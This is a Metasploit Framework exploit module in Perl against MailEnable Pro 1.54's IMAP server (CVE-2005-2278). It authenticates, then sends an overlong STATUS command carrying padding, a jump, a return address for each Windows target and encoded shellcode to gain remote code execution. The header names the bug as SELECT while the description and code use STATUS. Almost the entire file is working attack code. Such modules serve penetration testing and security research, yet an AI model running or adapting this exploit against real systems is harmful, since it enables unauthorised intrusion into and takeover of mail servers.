##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mailenable_imap;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
};

my $info = {
'Name' => 'MailEnable Pro (1.54) IMAP SELECT Request Buffer Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 143],
'USER' => [1, 'DATA', 'IMAP Username'],
'PASS' => [1, 'DATA', 'IMAP Password'],
},

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x0a\x0d\x20",
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
MailEnable's IMAP server contains a buffer overflow vulnerability
in the STATUS command. With proper credentials, this could allow
for the execution of arbitrary code.
}),

'Refs' =>
[
['CVE','2005-2278'],
['BID', '14243' ],
['NSS', '19193' ],
],

'Targets' =>
[
['MailEnable 1.54 Pro Universal', 9273, 0x1001c019], #MEAISP.DLL
['Windows XP Pro SP0/SP1 English', 9273, 0x71aa32ad ],
['Windows 2000 Pro English ALL', 9273, 0x75022ac4 ],
['Windows 2003 Server English', 9273, 0x7ffc0638 ],
],

'Keys' => ['imap'],

'DisclosureDate' => 'Jul 13 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];

my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
);

if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

my $resp = $sock->Recv(-1, 3);
chomp($resp);
$self->PrintLine('[*] Got Banner: ' . $resp);

my $sploit = "a001 LOGIN $user $pass\r\n";
$sock->Send($sploit);
my $resp = $sock->Recv(-1, 3);
if($sock->IsError) {
$self->PrintLine('Socket error: ' . $sock->GetError);
return;
}

if($resp !~ /^a001 OK LOGIN/) {
$self->PrintLine('Login error: ' . $resp);
return;
}

$self->PrintLine('[*] Logged in, sending overflow...');
my $splat = Pex::Text::UpperCaseText($target->[1]);

$sploit =
"a001 STATUS ". '".'. "\x00".
$splat. "\xeb\x06". pack('V', $target->[2]). $shellcode.
'"'. " (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)". "\r\n";

$sock->Send($sploit);
my $resp = $sock->Recv(-1, 3);
if(length($resp)) {
$self->PrintLine('[*] Got response, bad: ' . $resp);
}

return;
}